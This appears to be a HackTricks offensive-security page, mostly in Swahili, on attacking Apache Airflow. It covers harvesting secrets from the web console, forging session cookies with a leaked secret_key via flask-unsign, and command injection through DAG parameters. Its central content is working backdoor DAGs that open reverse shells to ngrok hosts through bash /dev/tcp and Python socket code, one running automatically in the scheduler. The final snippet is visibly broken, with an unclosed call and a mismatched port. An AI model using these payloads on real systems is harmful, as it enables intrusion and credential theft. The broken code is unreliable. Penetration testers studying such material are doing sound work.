Apache Airflow Security

Support HackTricks

Taarifa Msingi

Apache Airflow inatumika kama jukwaa la kuorodhesha na kupanga mabomba ya data au mifumo ya kazi. Neno "kuorodhesha" katika muktadha wa mabomba ya data inamaanisha mchakato wa kupanga, kuratibu, na kusimamia mifumo ya kazi ya data yenye utata inayotoka vyanzo mbalimbali. Lengo kuu la mabomba haya ya data yaliyoorodheshwa ni kutoa seti za data zilizosindika na zinazoweza kutumiwa. Seti hizi za data hutumiwa sana na programu nyingi, ikiwa ni pamoja na lakini sio mdogo kwa zana za ujasusi wa biashara, sayansi ya data na mifano ya ujifunzaji wa mashine, yote ambayo ni msingi wa utendaji wa programu za data kubwa.

Kimsingi, Apache Airflow itakuruhusu kupanga utekelezaji wa nambari wakati kitu (tukio, cron) kinapotokea.

Maabara ya Kienyeji

Docker-Compose

Unaweza kutumia faili ya usanidi ya docker-compose kutoka https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml kuzindua mazingira kamili ya docker ya apache airflow. (Ikiwa uko kwenye MacOS hakikisha kutoa angalau 6GB ya RAM kwa docker VM).

Minikube

Njia moja rahisi ya kuendesha apache airflow ni kuendesha na minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Mpangilio wa Airflow

Airflow inaweza kuhifadhi taarifa nyeti katika mpangilio wake au unaweza kupata mipangilio dhaifu:

Airflow Configuration

Airflow RBAC

Kabla ya kuanza kushambulia Airflow unapaswa kuelewa jinsi ruhusa zinavyofanya kazi:

Airflow RBAC

Mashambulizi

Uorodheshaji wa Konsoli ya Wavuti

Ikiwa una upatikanaji wa konsoli ya wavuti unaweza kupata au kufikia baadhi au yote ya taarifa zifuatazo:

  • Vipimo (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa)

  • Uunganisho (Taarifa nyeti za kawaida zinaweza kuhifadhiwa hapa)

  • Pata kwenye http://<airflow>/connection/list/

  • Mpangilio (Taarifa nyeti kama secret_key na nywila zinaweza kuhifadhiwa hapa)

  • Orodhesha watumiaji na majukumu

  • Msimbo wa kila DAG (ambao unaweza kuwa na taarifa za kuvutia)

Kupata Thamani za Vipimo

Vipimo vinaweza kuhifadhiwa kwenye Airflow ili DAGs ziweze kufikia thamani zao. Ni sawa na siri za majukwaa mengine. Ikiwa una ruhusa za kutosha unaweza kuzipata kwenye GUI kwenye http://<airflow>/variable/list/. Kwa chaguo-msingi, Airflow itaonyesha thamani ya kipimo kwenye GUI, hata hivyo, kulingana na hii inawezekana kuweka orodha ya vipimo ambavyo thamani yake itaonekana kama nyota kwenye GUI.

Hata hivyo, thamani hizi bado zinaweza kupatikana kupitia CLI (unahitaji kupata ufikivu wa DB), utekelezaji wa DAG wa kiholela, API kupitia kufikia mwisho wa vipimo (API inahitaji kuwa imewezeshwa), na hata GUI yenyewe! Kupata thamani hizo kutoka kwenye GUI tu chagua vipimo unavyotaka kufikia na bonyeza Matendo -> Kuuza. Njia nyingine ni kufanya bruteforce kwa thamani iliyofichwa kwa kutumia kuchuja utafutaji mpaka upate:

Kupandisha Hadhi ya Mamlaka

Ikiwa mpangilio wa expose_config umewekwa kuwa Sahihi, kutoka kwa jukumu la Mtumiaji na juu yake wanaweza kusoma mpangilio kwenye wavuti. Katika mpangilio huu, secret_key inaonekana, ambayo inamaanisha mtumiaji yeyote mwenye hii inayofaa wanaweza kuunda kuki iliyosainiwa yao wenyewe kujifanya kuwa akaunti ya mtumiaji mwingine yeyote.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

Mlango wa Nyuma wa DAG (RCE katika mfanyakazi wa Airflow)

Ikiwa una upatikanaji wa kuandika mahali ambapo DAGs zimehifadhiwa, unaweza tu kuunda moja ambayo itakutumia kifaa cha kudhibitiwa kwa nyuma. Tafadhali kumbuka kuwa kifaa hiki cha kudhibitiwa kwa nyuma kitatekelezwa ndani ya kontena ya mfanyakazi wa airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

Mlango Nyuma wa DAG (RCE katika Airflow scheduler)

Ikiwa unaweka kitu kiwe kinatekelezwa katika mizizi ya nambari, wakati wa kuandika hii, itatekelezwa na scheduler baada ya sekunde chache baada ya kuwekwa ndani ya folda ya DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Uundaji wa DAG

Ikiwa utafanikiwa kuambukiza kifaa ndani ya kikundi cha DAG, unaweza kuunda skripti mpya za DAG katika folda ya dags/ na zitakuwa zimejirudisha katika kifaa zingine ndani ya kikundi cha DAG.

Uingizaji wa Msimbo wa DAG

Unapotekeleza DAG kutoka kwa GUI unaweza kupitisha vigezo kwake. Kwa hivyo, ikiwa DAG haiko sawa kimaandishi inaweza kuwa dhaifu kwa Uingizaji wa Amri. Hapo ndipo ilipotokea katika CVE hii: https://www.exploit-db.com/exploits/49927

Kila unachohitaji kujua kuanza kutafuta uingizaji wa amri katika DAGs ni kwamba parameta zina fikiwa na msimbo dag_run.conf.get("jina_la_param").

Zaidi ya hayo, dhaifu sawa inaweza kutokea na vibadilishaji (kumbuka kwamba ukiwa na mamlaka ya kutosha unaweza kudhibiti thamani ya vibadilishaji katika GUI). Vibadilishaji vinapata kwa:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

If they are used for example inside a a bash command, you could perform a command injection.

Support HackTricks

Last updated